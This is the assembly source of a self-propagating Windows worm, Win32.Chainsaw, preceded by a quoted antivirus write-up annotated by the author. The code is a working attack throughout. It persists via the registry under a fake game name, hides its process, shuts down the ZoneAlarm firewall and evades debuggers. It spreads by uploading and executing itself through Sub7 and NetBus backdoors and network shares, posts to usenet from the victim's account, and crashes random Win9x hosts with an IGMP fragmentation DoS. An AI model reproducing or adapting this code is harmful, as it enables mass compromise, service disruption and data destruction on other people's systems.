Subject: CHAINSAWED+; Newsgroups: alt.horror+; Message body:+;+; WHO WILL SURVIVE+; AND WHAT WILL BE LEFT OF THEM?+;+; The worm also tries to send its copies to remote machines. To do that it+; gets randomly selected IP addresses in an endless loop and tries to connect+; to them. If it succeeds the worm tries to connect to a "Backdoor" trojan+; program on the remote machine (if the machine is infected by a backdoor+; program). After successfully connecting, the worm sends its copy to the+; remote machine and forces the Backdoor to execute it there. The list of+; "supported" Backdoors is as follows: Sub7, NetBus, NetBios. It's obvious+; that the worm has a very low chance to spread itself in such a way [*+; Several worms such as VBS/NetLog and W32/Qaz use *only* NetBios to spread,+; and are currently in the wild in large numbers, try to explain me this+; then. *]+;+; Depending on the system date the worm also sends a "Deny-of-service"+; packet to a randomly selected IP address. That packet is prepared so that+; it may cause a remote Win9x machine to crash (because of a bug in Win9x+; libraries). The worm intends to do that on the 31th of the month, but+; because of a bug compares that value with "year" field, and as a result+; will bomb random selected machines only if tje system date is set to the+; year 0031 [* Oops! Well atleast this version has it fixed :*]+;+; The worm also disables the "ZoneAlarm" Internet protection utility.+;+; Depending on its random counter the worm spawns a trojan program that+; erases data on the hard drive by writing the text to there:+;+; "THE FILM WHICH YOU ARE ABOUT TO SEE IS AN ACCOUNT OF THE+; TRAGEDY WHICH BEFELL A GROUP OF FIVE YOUTHS. IN PARTICULAR+; SALLY HARDESTY AND HER INVALID BROTHER FRANKLIN. IT IS ALL+; THE MORE TRAGIC IN THAT THEY WERE YOUNG. BUT, HAD THEY+; LIVED VERY, VERY LONG LIVES, THEY COULD NOT HAVE EXPECTED+; NOR WOULD THEY HAVE WISHED TO SEE AS MUCH OF THE MAD AND+; MACABRE AS THEY WERE TO SEE THAT DAY. FOR THEM AN IDYLLIC+; SUMMER AFTERNOON DRIVE BECAME A NIGHTMARE. THE EVENTS OF+; THAT DAY WERE TO LEAD TO THE DISCOVERY OF ONE OF THE MOST+; BIZARRE CRIMES IN THE ANNALS OF AMERICAN HISTORY,+; THE TEXAS CHAIN SAW MASSACRE..."+; ---------------------------------------------------------------------------++;============================================================================+;+;+; NAME: Win32.Chainsaw v1.01+; TYPE: NetBios/SubSeven/NetBus worm.+; DATE: July - September 2000.+; AUTHOR: T-2000 / Immortal Riot.+; E-MAIL: [email protected]+; PAYLOAD: Sector trashing.+;+; FEATURES:+;+; - Disables ZoneAlarm firewall.+; - Not visible in 9x tasklist.+; - Sends usenet message on installation.+; - DoS'es random hosts on 31st of any month.+; - Anti-debugging code.+;+; Randomly scans the Internet for hosts running either SubSeven 2, NetBus 1,+; or NetBios, and then installs itself in the systems it can get access+; to. It's main payload is to IGMP DoS random Internet hosts on every 31st+; of the month, which will BSOD every released version of Windoze 95/98+; that isn't patched or firewalled.+;+;============================================================================++; I've kept the code clear and understandable for everyone, no optimizations+; of any kind, mainly due the file alignment, the filesize will usually just+; stay the same wether your code is optimized or not.++ .386+ .MODEL FLAT+ .DATA++ JUMPS++; Converts a little indian word to a big indian word.+DWBI MACRO Lil_Indian+ DW (Lil_Indian SHR 8) + ((Lil_Indian AND 00FFh) SHL 8)+ENDM+++EXTRN WSAGetLastError:PROC+EXTRN ioctlsocket:PROC+EXTRN ExitProcess:PROC+EXTRN WSAStartup:PROC+EXTRN WritePrivateProfileStringA:PROC+EXTRN WSACleanup:PROC+EXTRN socket:PROC+EXTRN closesocket:PROC+EXTRN setsockopt:PROC+EXTRN InternetGetConnectedState:PROC+EXTRN DeleteFileA:PROC+EXTRN connect:PROC+EXTRN setsockopt:PROC+EXTRN PeekMessageA:PROC+EXTRN SetFileAttributesA:PROC+EXTRN GetSystemDirectoryA:PROC+EXTRN CreateFileA:PROC+EXTRN recv:PROC+EXTRN send:PROC+EXTRN sendto:PROC+EXTRN CloseHandle:PROC+EXTRN GetSystemTime:PROC+EXTRN GetModuleHandle+EXTRN RegOpenKeyExA:PROC+EXTRN RegSetValueExA:PROC+EXTRN RegCloseKey:PROC+EXTRN ReadFile:PROC+EXTRN CopyFileA:PROC+EXTRN WNetAddConnection2A:PROC+EXTRN WNetCancelConnection2A:PROC+EXTRN SetErrorMode:PROC+EXTRN GetModuleFileNameA:PROC+EXTRN FindWindowA:PROC+EXTRN PostMessageA:PROC+EXTRN GetTickCount:PROC+EXTRN WriteFile:PROC+EXTRN GetLocalTime:PROC+EXTRN WinExec:PROC+EXTRN select:PROC+EXTRN GetPrivateProfileStringA:PROC+EXTRN GetModuleHandleA:PROC+EXTRN GetProcAddress:PROC+EXTRN WNetAddConnection2A:PROC+EXTRN WNetEnumResourceA:PROC+EXTRN WNetOpenEnumA:PROC+EXTRN WNetCloseEnum:PROC+EXTRN RegQueryValueExA:PROC+EXTRN gethostbyname:PROC+EXTRN inet_ntoa:PROC+++Worm_Size EQU 6144++SEM_NOGPFAULTERRORBOX EQU 00000002h+OPEN_EXISTING EQU 00000003h+CREATE_ALWAYS EQU 00000002h+SO_SNDTIMEO EQU 1005h+SO_RCVTIMEO EQU 1006h+RESOURCE_GLOBALNET EQU 00000002h+RESOURCEUSAGE_CONNECTABLE EQU 00000001h+RESOURCEUSAGE_CONTAINER EQU 00000002h+RESOURCEUSAGE_CONNECTABLE EQU 00000001h+RESOURCETYPE_DISK EQU 00000001h+SOL_SOCKET EQU 0FFFFh+HKEY_CURRENT_USER EQU 80000001h+KEY_QUERY_VALUE EQU 1+KEY_WRITE EQU 00020006h+REG_SZ EQU 00000001h+GENERIC_READ EQU 80000000h+GENERIC_WRITE EQU 40000000h+FILE_SHARE_READ EQU 00000001h+FILE_ATTRIBUTE_HIDDEN EQU 2+AF_INET EQU 2+IPPROTO_IGMP EQU 2+SOCK_STREAM EQU 1+SOCK_RAW EQU 3+FIONBIO EQU 8004667Eh+WM_QUIT EQU 0012h+++S7_Upload_Req DB 'RTFChainsaw.exe'+End_S7_Upload_Req:++S7_Upload_Size DB 'SFT046144'+End_S7_Upload_Size:++S7_Exec_Req DB 'FMXChainsaw.exe'+End_S7_Exec_Req:++NB_Password DB 'Password;1;netbus', 0Dh+End_NB_Password:++NB_Upload_Req DB 'UploadFile;Chainsaw.exe;6144;\', 0Dh+End_NB_Upload_Req:++NB_Exec_File DB 'StartApp;\Chainsaw.exe', 0Dh+End_NB_Exec_File:++Nuke_File DB 'BBQ666.COM', 0++sz_Kernel32 DB 'KERNEL32', 0+sz_RegServProc DB 'RegisterServiceProcess', 0++Win_Ini_Run_Key DB 'run', 0+Windows_Section DB 'windows', 0++Run_Key DB 'Software\Microsoft\Windows\CurrentVersion\Run', 0+ZoneAlarm_Window DB 'ZoneAlarm', 0++Reg_Handle_1 DD 0+Reg_Handle_2 DD 0+sz_Account_Mgr DB 'Software\Microsoft\Internet Account Manager', 0+Account_Key DB 'Software\Microsoft\Internet Account Manager\Accounts\'+Account_Index DB '00000000', 0+sz_Def_News_Acc DB 'Default News Account', 0+sz_NNTP_Server DB 'NNTP Server', 0++Size_Acc_Buffer DD 9+Size_NNTP_Buf DD 128++s_POST DB 'POST', 0Dh, 0Ah+s_QUIT DB 'QUIT', 0Dh, 0Ah++ ; Header.++News_Message: DB 'From: "Leatherface" <[email protected]>', 0Dh, 0Ah+ DB 'Subject: CHAINSAWED', 0Dh, 0Ah+ DB 'Newsgroups: alt.horror', 0Dh, 0Ah+ DB 0Dh, 0Ah++ ; Body.++ DB 'WHO WILL SURVIVE', 0Dh, 0Ah+ DB 'AND WHAT WILL BE LEFT OF THEM?', 0Dh, 0Ah++ ; End-of-data command.++ DB '.', 0Dh, 0Ah+End_News_Message:++MsDos_Sys DB 'T:\MSDOS.SYS', 0+Win_Dir_Key DB 'WinDir', 0+Paths_Section DB 'Paths', 0++Slash_Win_Ini DB '\'+Win_Ini DB 'WIN.INI', 0++Remote_Drive DB 'T:', 0+Cover_Name DB '\WINMINE.EXE', 0++Remote_Trojan DB 'T:'+Root_Dropper DB '\Chainsaw.exe', 0+Run_Key_Name DB 'Mines', 0++Boole_False DD 0+Boole_True DD 1++NetBios_Remote DB '\\666.666.666.666', 0++Time_Out: DD 1 ; - Seconds.+ DD 500 ; - Milliseconds.++IO_Time_Out DD 5000++Usenet_Conn: DW AF_INET ; connect() structures.+ DWBI 119+Usenet_IP DD 0+ DB 8 DUP(0)++Nuke_Conn: DW AF_INET+ DW 0+Nuke_IP DD 0+ DB 8 DUP(0)++Sub7_Conn: DW AF_INET+ DWBI 27374+Sub7_IP DD 0+ DB 8 DUP(0)++NetBus_Conn: DW AF_INET+ DWBI 12345+NetBus_IP DD 0+ DB 8 DUP(0)++NetBus_Conn_2: DW AF_INET+ DWBI (12345+1)+NetBus_IP_2 DD 0+ DB 8 DUP(0)++NetBios_Conn: DW AF_INET+ DWBI 139+NetBios_IP DD 0+ DB 8 DUP(0)++Win_Dir DB 260 DUP(0)+Default_String DB 0++Own_Path DB 260 DUP(0)++Net_Struc_Count DD 1+Enum_Buf_Size DD 666+Enum_Buffer DB 666 DUP(0)++Net_Resource_Struc:++ DD 0+ DD 0+ DD 0+ DD 0+ DD 0+ DD OFFSET NetBios_Remote+ DD 0+ DD 0++Net_Resource: DD 0+ DD 0+ DD 0+Net_Usage DD 0+Net_Local_Name DD 0+Net_Remote_Name DD 0+ DD 0+ DD 0++Select_Struc:+Sock_Count DD 3+Sub7_Socket DD 0+NetBus_Socket DD 0+NetBios_Socket DD 0++IGMP_Socket DD 0+News_Socket DD 0+NetBus_Socket_2 DD 0++Connect_Select: DD 4 DUP(0)++IGMP_Nuke DB 15000 DUP(0)++Temp DD 0+Random_Init DD 0++Enum_Handle DD 0++Size_Cover_Path DD 0++System_Time DW 8 DUP(0)++Worm_Code DB Worm_Size DUP(0)+WSA_Data DB 400 DUP(0)+System_Dir DB 260 DUP(0)+NNTP_Server DB 128 DUP(0)+Buffer DB 512 DUP(0)++ .CODE++ DB '[-T2IR-]', 0+START:+ PUSH SEM_NOGPFAULTERRORBOX ; On error just bail out+ CALL SetErrorMode ; without displaying shit.++ PUSH 0 ; Fake a dispatch to get the+ PUSH 0 ; hourglass cursor to+ PUSH 0 ; disappear.+ PUSH 0+ PUSH 0+ CALL PeekMessageA++ ; Get offset of CreateFileA in the jump table.++ MOV ESI, DWORD PTR CreateFileA+2+ LODSD++ ; Soft-Ice's BPX command works with 0CCh breakpoints+ ; to hook API's, so here we simply check if a common+ ; API has been hooked and kill the system if true.+ ; For a virus it's better to check every fetched API+ ; for a debugger hook.++ CMP BYTE PTR [ESI], 0CCh ; Debugger has a hook on it?+ JE Payload++ CALL GetTickCount++ MOV Random_Init, EAX++ PUSH 260 ; Get the path to ourself.+ PUSH OFFSET Own_Path+ PUSH 0+ CALL GetModuleFileNameA++ MOV EDI, OFFSET System_Dir++ PUSH 260 ; Get the System directory.+ PUSH EDI+ CALL GetSystemDirectoryA++ MOV ESI, OFFSET Cover_Name+ ADD EDI, EAX++ MOVSD ; Append our cover name+ MOVSD ; \WINMINE.EXE to it.+ MOVSD+ MOVSB++ SUB EDI, OFFSET System_Dir ; Save size of path.+ MOV Size_Cover_Path, EDI++ PUSH 1 ; Copy us to the system+ PUSH OFFSET System_Dir ; directory under the cover+ PUSH OFFSET Own_Path ; name.+ CALL CopyFileA++ XCHG ECX, EAX ; Virus is already installed?+ JECXZ Check_Trigger++ PUSH 1 ; Copy root dropper to root+ PUSH OFFSET Root_Dropper ; to indicate this is the 1st+ PUSH OFFSET Own_Path ; run of the worm.+ CALL CopyFileA++ PUSH FILE_ATTRIBUTE_HIDDEN ; Hide it.+ PUSH OFFSET Root_Dropper+ CALL SetFileAttributesA++ PUSH OFFSET Reg_Handle_1 ; Open up a handle to the+ PUSH KEY_WRITE ; registry Run key.+ PUSH 0+ PUSH OFFSET Run_Key+ PUSH HKEY_CURRENT_USER+ CALL RegOpenKeyExA++ PUSH Size_Cover_Path ; Make the cover file run+ PUSH OFFSET System_Dir ; every bootup.+ PUSH REG_SZ+ PUSH 0+ PUSH OFFSET Run_Key_Name+ PUSH Reg_Handle_1+ CALL RegSetValueExA++ PUSH Reg_Handle_1 ; Close registry key.+ CALL RegCloseKey++ PUSH OFFSET Win_Ini ; Remove temporary reference+ PUSH 0 ; to virus dropper in+ PUSH OFFSET Win_Ini_Run_Key ; WIN.INI.+ PUSH OFFSET Windows_Section+ CALL WritePrivateProfileStringA++Exit: PUSH 0+ CALL ExitProcess++Check_Trigger: MOV EAX, 666 ; 1/666 chance of activating.+ CALL Random_EAX++ DEC EAX ; Today is trashday?+ JZ Payload++ PUSH 0 ; Open ourselves.+ PUSH 0+ PUSH OPEN_EXISTING+ PUSH 0+ PUSH FILE_SHARE_READ+ PUSH GENERIC_READ+ PUSH OFFSET Own_Path+ CALL CreateFileA++ MOV EBX, EAX++ INC EAX+ JZ Exit++ PUSH 0 ; Read in ourselves.+ PUSH OFFSET Temp+ PUSH Worm_Size+1+ PUSH OFFSET Worm_Code+ PUSH EBX+ CALL ReadFile++ CMP Temp, Worm_Size ; Wormsize has changed?+ JNE Payload ; Then we're likely+ ; incomplete or infected+ ; with a virus.++ PUSH EBX ; Close ourselves again.+ CALL CloseHandle++ PUSH OFFSET sz_Kernel32 ; Get base of KERNEL32.DLL.+ CALL GetModuleHandleA++ PUSH OFFSET sz_RegServProc ; Get RegisterServiceProcess.+ PUSH EAX+ CALL GetProcAddress++ XCHG ECX, EAX+ JECXZ Init_Winsock++ PUSH 1 ; Register our process as a+ PUSH 0 ; hidden service.+ CALL ECX++Init_Winsock: PUSH OFFSET WSA_Data ; Initialize winsock.+ PUSH 0202h+ CALL WSAStartup++ OR EAX, EAX ; Error?+ JNZ Exit++Chk_Inet_State: PUSH 0 ; We're connected to the+ PUSH OFFSET Temp ; Internet?+ CALL InternetGetConnectedState++ DEC EAX ; Else just loop and check+ JNZ Chk_Inet_State ; again until we are.++ ; Here we close the ZoneAlarm firewall if it is+ ; found active, reason being that A) it will pop-up+ ; a warning box whenever a program (ie. our worm)+ ; is attempting to access the Internet, (this is how+ ; many RAT trojans get caught these days) and B) it+ ; is likely to block our ports.++ PUSH OFFSET ZoneAlarm_Window ; Attempt to locate the+ PUSH 0 ; ZoneAlarm window.+ CALL FindWindowA++ XCHG ECX, EAX+ JECXZ Check_1st_Run++ PUSH 0 ; Tell ZoneAlarm to quit.+ PUSH 0+ PUSH WM_QUIT+ PUSH ECX+ CALL PostMessageA++Check_1st_Run: PUSH OFFSET Root_Dropper ; Can we delete the root+ CALL DeleteFileA ; dropper?++ XCHG ECX, EAX+ JECXZ Do_Random_IP++ ; This is the first Internet run of the worm, so+ ; send a usenet message to alt.horror to note+ ; our presence. Better to just use a public+ ; dump place instead of e-mail for example, this+ ; way they can't track you or kill the account.++ PUSH OFFSET Reg_Handle_1 ; Open a handle to Internet+ PUSH KEY_QUERY_VALUE ; Account Manager.+ PUSH 0+ PUSH OFFSET sz_Account_Mgr+ PUSH HKEY_CURRENT_USER+ CALL RegOpenKeyExA++ OR EAX, EAX+ JNZ Do_Random_IP++ PUSH OFFSET Size_Acc_Buffer ; Get default news account.+ PUSH OFFSET Account_Index+ PUSH 0+ PUSH 0+ PUSH OFFSET sz_Def_News_Acc+ PUSH Reg_Handle_1+ CALL RegQueryValueExA++ OR EAX, EAX+ JNZ Close_Reg_1++ PUSH OFFSET Reg_Handle_2 ; Open the default news+ PUSH KEY_QUERY_VALUE ; account.+ PUSH 0+ PUSH OFFSET Account_Key+ PUSH HKEY_CURRENT_USER+ CALL RegOpenKeyExA++ OR EAX, EAX+ JNZ Close_Reg_1++ PUSH OFFSET Size_NNTP_Buf ; Get it's NNTP server.+ PUSH OFFSET NNTP_Server+ PUSH 0+ PUSH 0+ PUSH OFFSET sz_NNTP_Server+ PUSH Reg_Handle_2+ CALL RegQueryValueExA++ OR EAX, EAX+ JNZ Close_Reg_2++ PUSH OFFSET NNTP_Server ; Convert the DNS-name to+ CALL gethostbyname ; an IP-address.++ XCHG ECX, EAX+ JECXZ Close_Reg_2++ MOV ESI, [ECX+12] ; Fetch IP-address.+ LODSD+ PUSH DWORD PTR [EAX]+ POP Usenet_IP++ PUSH 0+ PUSH SOCK_STREAM+ PUSH AF_INET+ CALL socket++ MOV News_Socket, EAX++ INC EAX ; Error?+ JZ Close_Reg_2++ MOV EBX, News_Socket+ CALL Set_Time_Outs++ PUSH 16+ PUSH OFFSET Usenet_Conn+ PUSH News_Socket+ CALL connect++ INC EAX+ JZ Close_Reg_2++ MOV EDI, OFFSET Buffer++ PUSH 0 ; Receive data from the+ PUSH 512 ; socket.+ PUSH EDI+ PUSH News_Socket+ CALL recv++ INC EAX+ JZ Close_News++ CMP BYTE PTR [EDI], '2'+ JNE Send_QUIT++ PUSH 0+ PUSH 6+ PUSH OFFSET s_POST+ PUSH News_Socket+ CALL send++ INC EAX+ JZ Close_News++ PUSH 0 ; Receive data from the+ PUSH 512 ; socket.+ PUSH EDI+ PUSH News_Socket+ CALL recv++ INC EAX+ JZ Close_News++ CMP BYTE PTR [EDI], '3'+ JNE Send_QUIT++ PUSH 0+ PUSH (End_News_Message-News_Message)+ PUSH OFFSET News_Message+ PUSH News_Socket+ CALL send++ INC EAX+ JZ Close_News++ PUSH 0 ; Receive data from the+ PUSH 512 ; socket.+ PUSH EDI+ PUSH News_Socket+ CALL recv++ INC EAX+ JZ Close_News++Send_QUIT: PUSH 0+ PUSH 6+ PUSH OFFSET s_QUIT+ PUSH News_Socket+ CALL send++ INC EAX+ JZ Close_News++ PUSH 0 ; Receive data from the+ PUSH 512 ; socket.+ PUSH EDI+ PUSH News_Socket+ CALL recv++Close_News: PUSH News_Socket+ CALL closesocket++Close_Reg_2: PUSH Reg_Handle_2+ CALL RegCloseKey++Close_Reg_1: PUSH Reg_Handle_1+ CALL RegCloseKey++Do_Random_IP: CALL Random_AL_254 ; Get random octet (1-254).++ XCHG EBX, EAX++ CALL Random_AL_254 ; Another one.++ SHL EBX, 8+ MOV BL, AL++ CALL Random_AL_254 ; And another one.++ SHL EBX, 8+ MOV BL, AL++Rand_A_Class: MOV AL, 223 ; Random A/B/C class IP.+ CALL Random_AL++ CMP AL, 10 ; Private network segment.+ JE Rand_A_Class++ CMP AL, 127 ; Localhost network.+ JE Rand_A_Class++ SHL EBX, 8+ MOV BL, AL++ MOV Nuke_IP, EBX+ MOV Sub7_IP, EBX ; Store the random IP in our+ MOV NetBus_IP, EBX ; structures.+ MOV NetBus_IP_2, EBX+ MOV NetBios_IP, EBX++ PUSH OFFSET System_Time ; Get system date.+ CALL GetSystemTime++ CMP System_Time+(3*2), 31 ; Is today nuke day?+ JNE IP_To_ASCIIZ++ PUSH IPPROTO_IGMP ; Create a raw IGMP socket.+ PUSH SOCK_RAW+ PUSH AF_INET+ CALL socket++ MOV IGMP_Socket, EAX++ INC EAX+ JZ Do_Random_IP++ MOV EDI, 10 ; Send 10 nuke packets.++ ; Windows 95/98 has problems with handling fragmented IGMP+ ; packets, when processing a whole bunch of these the system+ ; will usually BSOD. Here we simply send a large packet (the+ ; packet will arrive regardless of content it seems), which+ ; will automatically be fragmented by the underlying TCP/IP+ ; layers. Officially IGMP packets aren't supposed to leave+ ; the current subnet, so if your ISP uses filtering (mainly+ ; cable/ADSL connections), this nuke won't get through,+ ; however SLIP/PPP connections (mainly dialups), seem to have+ ; no problems delivering it.++Send_Nuke: PUSH 16 ; Send the nuke.+ PUSH OFFSET Nuke_Conn+ PUSH 0+ PUSH 15000+ PUSH OFFSET IGMP_Nuke+ PUSH IGMP_Socket+ CALL sendto++ DEC EDI ; Send all 10 packets.+ JNZ Send_Nuke++Exit_Nuke: PUSH IGMP_Socket+ CALL closesocket++ JMP Do_Random_IP++IP_To_ASCIIZ: PUSH EBX ; Convert DWORD to ASCIIZ+ CALL inet_ntoa ; for the NetBios API's.++ XCHG ESI, EAX+ MOV EDI, OFFSET NetBios_Remote+2++ ; Copy the ASCIIZ IP to our own buffer.++Copy_ASCIIZ_IP: LODSB+ STOSB++ OR AL, AL ; Did entire ASCIIZ string?+ JNZ Copy_ASCIIZ_IP++ PUSH 0 ; Create sockets.+ PUSH SOCK_STREAM+ PUSH AF_INET+ CALL socket++ MOV Sub7_Socket, EAX++ INC EAX+ JZ Chk_Inet_State++ PUSH 0+ PUSH SOCK_STREAM+ PUSH AF_INET+ CALL socket++ MOV NetBus_Socket, EAX++ INC EAX+ JZ Close_Sub7++ PUSH 0+ PUSH SOCK_STREAM+ PUSH AF_INET+ CALL socket++ MOV NetBios_Socket, EAX++ INC EAX+ JZ Close_NetBus++ ; The standard connect() timeout interval is like 100 seconds+ ; or so, obviously this is way to long for portscanning, so we+ ; need to set our own timeout interval. Unfortunately Winsock+ ; does not have any API that can set a connect() timeout interval+ ; (neither does BSD Sockets btw). Kind of stupid, but anyways,+ ; here we realize our own timeout function by first switching+ ; the connect() sockets to non-blocking mode, and then running+ ; select() on em with a 1500ms timeout to see if they are connected.++ PUSH OFFSET Boole_True ; Set socket to non-blocking+ PUSH FIONBIO ; mode.+ PUSH Sub7_Socket+ CALL ioctlsocket++ PUSH OFFSET Boole_True+ PUSH FIONBIO+ PUSH NetBus_Socket+ CALL ioctlsocket++ PUSH OFFSET Boole_True+ PUSH FIONBIO+ PUSH NetBios_Socket+ CALL ioctlsocket++ PUSH 16 ; Connect SubSeven port.+ PUSH OFFSET Sub7_Conn+ PUSH Sub7_Socket+ CALL connect++ PUSH 16 ; Connect NetBus port.+ PUSH OFFSET NetBus_Conn+ PUSH NetBus_Socket+ CALL connect++ PUSH 16 ; Connect NetBios port.+ PUSH OFFSET NetBios_Conn ; (only to quickly probe the+ PUSH NetBios_Socket ; host for NetBios).+ CALL connect++ MOV ESI, OFFSET Select_Struc+ MOV EDI, OFFSET Connect_Select++ MOVSD+ MOVSD+ MOVSD+ MOVSD++ PUSH OFFSET Time_Out ; Check if any sockets are+ PUSH 0 ; writeable (connected)+ PUSH OFFSET Connect_Select ; within 1500ms.+ PUSH 0+ PUSH 0+ CALL select++ INC EAX ; Error?+ JZ Close_NetBios++ DEC EAX ; Zero sockets connected?+ JZ Close_NetBios++ PUSH OFFSET Boole_False ; Switch sockets back to+ PUSH FIONBIO ; blocking mode.+ PUSH Sub7_Socket+ CALL ioctlsocket++ PUSH OFFSET Boole_False+ PUSH FIONBIO+ PUSH NetBus_Socket+ CALL ioctlsocket++ MOV EBX, Sub7_Socket ; Set send/recv timeout on+ CALL Set_Time_Outs ; sockets to prevent endless+ ; blocking.+ MOV EBX, NetBus_Socket+ CALL Set_Time_Outs++ MOV EDI, OFFSET Buffer ; recv-buffer.++Try_Sub7: PUSH 0 ; Attempt to get SubSeven+ PUSH 512 ; connection reply.+ PUSH EDI+ PUSH Sub7_Socket+ CALL recv++ INC EAX ; Not connected?+ JZ Try_NetBus++ ; If it's a SubSeven server, and not password+ ; protected, it should reply with 'connected',+ ; and the time/date and version.++ CMP [EDI], 'nnoc' ; If we can't access the Sub7+ JNE Try_NetBus ; server, move on to NetBus.++ ; First request a file upload by sending+ ; 'RTF' with the upload path connected to+ ; it: 'RTFChainsaw.exe'.++ PUSH 0+ PUSH (End_S7_Upload_Req-S7_Upload_Req)+ PUSH OFFSET S7_Upload_Req+ PUSH Sub7_Socket+ CALL send++ INC EAX+ JZ Try_NetBus++ PUSH 0 ; Fetch the reply, it should+ PUSH 512 ; be 'TID' if all is OK.+ PUSH EDI+ PUSH Sub7_Socket+ CALL recv++ INC EAX+ JZ Try_NetBus++ CMP [EDI], 'nDIT' ; Check for 'TID' (plus last+ JNE Try_NetBus ; byte of previous recv).++ ; First let the server know the filesize of the+ ; upload, this is done by sending a 'SFT' + the+ ; length of the filesize (represented by two+ ; numbers) + the actual filesize: 'SFT046144'.++ PUSH 0+ PUSH (End_S7_Upload_Size-S7_Upload_Size)+ PUSH OFFSET S7_Upload_Size+ PUSH Sub7_Socket+ CALL send++ INC EAX+ JZ Try_NetBus++ PUSH 0 ; Then send the actual file+ PUSH Worm_Size ; contents.+ PUSH OFFSET Worm_Code+ PUSH Sub7_Socket+ CALL send++ INC EAX+ JZ Try_NetBus++ ; SubSeven works with a 1041-byte receive buffer, every+ ; 1041 or less bytes received will be acknowledged with+ ; a 'p:' + the total amount of bytes received + '.'.++Retrieve_Ack: PUSH 0 ; Receive a 7-byte 'p:xxxx.'+ PUSH 7 ; (don't read more than 7+ PUSH EDI ; bytes as often the data is+ PUSH Sub7_Socket ; overlapping).+ CALL recv++ INC EAX+ JZ Try_NetBus++ CMP [EDI+2], '4416' ; Last acknowledgement?+ JNE Retrieve_Ack ; Otherwise just go on.++ ; Check upload reply, which should be 'file successfully uploaded.'+ ; if all went fine, (however it seems to return this regardless of+ ; success or failure..).++Check_UL_Reply: PUSH 0+ PUSH 512+ PUSH EDI+ PUSH Sub7_Socket+ CALL recv++ INC EAX+ JZ Try_NetBus++ CMP [EDI+5], 'ccus' ; Check for 'success'.+ JNE Try_NetBus ; Bail on error.++ ; Now remotely execute the uploaded worm copy by sending a+ ; 'FMX' + the path of the file to execute: 'FMXChainsaw.exe'.+ ; SubSeven uses ShellExecuteA to run files, so it is capable+ ; of opening any registered file extension such as .VBS etc.++ PUSH 0+ PUSH (End_S7_Exec_Req-S7_Exec_Req)+ PUSH OFFSET S7_Exec_Req+ PUSH Sub7_Socket+ CALL send++ INC EAX+ JZ Try_NetBus++ PUSH 0 ; Fetch the command reply,+ PUSH 512 ; which should be+ PUSH EDI ; 'file has been executed.'.+ PUSH Sub7_Socket+ CALL recv++Try_NetBus: PUSH 0 ; Fetch connection reply.+ PUSH 512+ PUSH EDI+ PUSH NetBus_Socket+ CALL recv++ INC EAX+ JZ Try_NetBios++ ; NetBus servers respond with 'NetBus', and+ ; the version, and if the server is password+ ; protected also with an 'x'.++ CMP [EDI], 'BteN' ; Is it an actual NetBus+ JNE Try_NetBios ; server?++ ; Server is password protected?++ CMP BYTE PTR [EDI+EAX-3], 'x'+ JNE Upload_Worm++ ; Now try one password, 'netbus' (should be commonly used+ ; I guess), together with a NetBus 1.60- backdoor function+ ; that accepts any password.++ PUSH 0+ PUSH (End_NB_Password-NB_Password)+ PUSH OFFSET NB_Password+ PUSH NetBus_Socket+ CALL send++ INC EAX+ JZ Try_NetBios++ PUSH 0 ; Get password reply.+ PUSH 512+ PUSH EDI+ PUSH NetBus_Socket+ CALL recv++ INC EAX+ JZ Try_NetBios++ ; If the password got accepted then it+ ; should return 'Access;1'.++ CMP [EDI+4], '1;ss' ; 'Access;1' ?+ JNE Try_NetBios++ ; Request a file upload by sending 'UploadFile;'+ ; + filename + ';' + filesize + ';' + upload path:+ ; 'UploadFile;Chainsaw.exe;6144;\'.++Upload_Worm: PUSH 0+ PUSH (End_NB_Upload_Req-NB_Upload_Req)+ PUSH OFFSET NB_Upload_Req+ PUSH NetBus_Socket+ CALL send++ INC EAX+ JZ Try_NetBios++ PUSH 0 ; Fetch upload reply which+ PUSH 512 ; should be 'UploadReady'.+ PUSH EDI+ PUSH NetBus_Socket+ CALL recv++ INC EAX+ JZ Try_NetBios++ CMP [EDI+4], 'eRda' ; 'UploadReady' ?+ JNE Try_NetBios++ ; Now connect to port number <NetBus_Port+1>,+ ; which will handle the upload file content.++ PUSH 0 ; Create a socket for the+ PUSH SOCK_STREAM ; upload connection.+ PUSH AF_INET+ CALL socket++ MOV NetBus_Socket_2, EAX++ INC EAX+ JZ Try_NetBios++ MOV EBX, NetBus_Socket_2+ CALL Set_Time_Outs++ PUSH 16 ; Connect the upload socket.+ PUSH OFFSET NetBus_Conn_2+ PUSH NetBus_Socket_2+ CALL connect++ XCHG EBX, EAX++ OR EBX, EBX+ JNZ Close_NetBus_2++ PUSH 0 ; Send through the upload+ PUSH Worm_Size ; file contents.+ PUSH OFFSET Worm_Code+ PUSH NetBus_Socket_2+ CALL send++ XCHG EBX, EAX++Close_NetBus_2: PUSH NetBus_Socket_2+ CALL closesocket++ INC EBX+ JZ Close_NetBios++ ; Now remotely execute the worm on the target's+ ; system by sending 'StartApp;' + path to program:+ ; 'StartApp;\Chainsaw.exe'.++ PUSH 0+ PUSH (End_NB_Exec_File-NB_Exec_File)+ PUSH OFFSET NB_Exec_File+ PUSH NetBus_Socket+ CALL send++Try_NetBios: MOV ESI, OFFSET Net_Resource_Struc+ MOV EDI, OFFSET Net_Resource++ MOV ECX, 8+ REP MOVSD++ CALL Locate_Shares ; Infect all shared drives.++Close_NetBios: PUSH NetBios_Socket+ CALL closesocket++Close_NetBus: PUSH NetBus_Socket+ CALL closesocket++Close_Sub7: PUSH Sub7_Socket+ CALL closesocket++ JMP Chk_Inet_State+++; Set the recv/send timeout to 5 seconds to prevent endless blocking.+Set_Time_Outs:+ PUSH 4+ PUSH OFFSET IO_Time_Out+ PUSH SO_RCVTIMEO+ PUSH SOL_SOCKET+ PUSH EBX+ CALL setsockopt++ PUSH 4+ PUSH OFFSET IO_Time_Out+ PUSH SO_SNDTIMEO+ PUSH SOL_SOCKET+ PUSH EBX+ CALL setsockopt++ RETN+++Random_AL_254:+ MOV AL, 254++Random_AL: MOVZX EAX, AL++Random_EAX: PUSH EAX++ CALL GetTickCount++ ADD EAX, Random_Init+ JNP Xor_In_Init++ RCL EAX, 2+ XCHG AL, AH+ ADD AL, 66h++Xor_In_Init: NOT EAX++ PUSH 32+ POP ECX++CRC_Bit: SHR EAX, 1+ JNC Loop_CRC_Bit++ XOR EAX, 0EDB88320h++Loop_CRC_Bit: LOOP CRC_Bit++ POP ECX++ XOR EDX, EDX+ DIV ECX++ XCHG EDX, EAX+ INC EAX ; Can't be zero.++ ROL Random_Init, 1 ; Adjust random seed.++ RETN+++; And I thought NetBus was a lame buggy piece of shit, nothing beats+; SubSeven, even though it's the one of the most advanched RAT's+; available these days, it is programmed pretty badly, the author+; clearly has no understanding of TCP/IP whatsoever, he 